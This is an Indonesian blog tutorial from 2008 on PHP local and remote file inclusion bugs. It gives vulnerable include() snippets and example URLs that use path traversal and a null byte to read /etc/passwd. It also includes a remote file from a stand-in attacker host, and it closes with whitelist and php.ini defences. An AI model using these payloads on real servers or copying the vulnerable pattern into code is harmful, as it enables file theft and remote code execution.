May 26, 2008

about LFI/RFI

Filed under: Bugs

apaan sih LFI (local file inclusion) itu??
LFI adalah suatu bug dimana kita bisa menginclude kan file (file yang berada didalam server yg bersangkutan)
ke page yang vulnerable (vulnerable LFI maksudnya).
sedangkan RFI (remote file inclusion) mirip dengan LFI, hanya saja kita bisa mengincludekan file diluar server yg bersangkutan.
(tentu saja mengekploitasi RFI akan lebih mudah & menyenangkan dibandingkan mengeksploitasi LFI).

fungsi-fungsi php yang digunakan dalam LFI/RFI:
include()
include_once()
require()
require_once()

contoh code:
1. vulnerable LFI dan RFI ==> konfigurasi yg dibutuhkan allow_url_include = on; allow_url_fopen = on
lfi.php
<?
$page = $_GET[page];
include($page);
?>

eksploitasi LFI
misalkan kita memanggil url
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
atau
http://localhost/lfi.php?page=c:/boot.ini
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd
dan file /etc/passwd akan dieksekusi.
karena /etc/passwd bukanlah code-code php maka isi dari /etc/passwd akan ditampilkan ke browser.

eksploitasi RFI
misalkan kita memanggil url
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt
dan isi dari hack.txt adalah <? echo “dihack oleh hacker”; ?>

maka page tadi akan menampilkan tulisan “dihack oleh hacker”.
ini terjadi karena isi dari hack.txt dieksekusi oleh server.

2. vulnerable LFI saja
lfi.php
<?
$page = $_GET[page];
include(”./”.$page);
?>

misalkan kita memanggil url
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
maka $page = $_GET[page] = ./../../../../../../../../etc/passwd
dan isi file /etc/passwd akan ditampilkan ke browser

misalkan kita memanggil url
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt
maka baris ketika code php kita , yaitu include akan menjadi
include(”./”.http://www.hacker.com/hack.txt);
==> maka ./http://www.hacker.com/hack.txt akan dianggap sebagai file dan server akan mencari file tersebut.
tentu saja akan error karena file ./http://www.hacker.com/hack.txt tidak ada dalam server tersebut.

3. lain-lain ===> settingan yg dibutuhkan: allow_url_include = on; allow_url_fopen = on; magic_quotes_gpc = off
<?
$page = $_GET[page];
include($page.”.php”);
?>

eksploitasi LFI:
http://localhost/lfi.php?page=../../../../../../../../etc/passwd%00
maka $page = $_GET[page] = ../../../../../../../../etc/passwd%00.php
sedangkan fungsi dari %00 (teknik null injection) adalah untuk menghilangkan karakter sesudah %00 (tentunya %00 ikut hilang juga).
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd ==> tanpa embel-embel .php
untuk melakukan teknik ini, maka settingan magic_quotes_gpc harus off, jika magic_quotesnya on maka %00 akan diganti oleh server menjadi \0 sehingga teknik null injection menjadi gagal.

exploitasi RFI:
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt?
maka $page = $_GET[page] = http://www.hacker.com/hack.txt?.php
nah .php oleh server akan diabaikan.

Cara mencegah LFI/RFI
1.dengan code php
misalkan
<?
$page = $_GET[page];
switch($page)
{
case “1.php”:
include(”1.php”);
break;
case “2.php”:
include(”2.php”);
break;
default:
include(”1.php”);
}
?>
hal ini akan membuat file yang bisa di-includekan hanya 1.php dan 2.php
2.settingan server
misalkan
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc= on
open_basedir = “/www/html/serverku”

kesimpulan:
1. LFI dan RFI sebenernya adalah dua buah bug yang sangat mirip, hanya bedanya jika LFI mengambil file dari dalam server, maka RFI mengambil fil dari luar server

2. untuk RFI agar bisa dieksploitasi maka dibutuhkan agar settingan pada server : allow_url_include = on dan allow_url_fopen = on

3.null byte injection bisa dicegah dengan mengaktifkan magic_quotes

4. LFI dan RFI bisa dicegah dengan pengkodean dan pen-settingan server yang baik

Comments »

The URI to TrackBack this entry is: http://jeky466.blogsome.com/2008/05/26/about-lfirfi/trackback/

yes

RSS feed for comments on this post.

allow a comment

Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>



Anti-spam measure: please retype the above text into the box provided.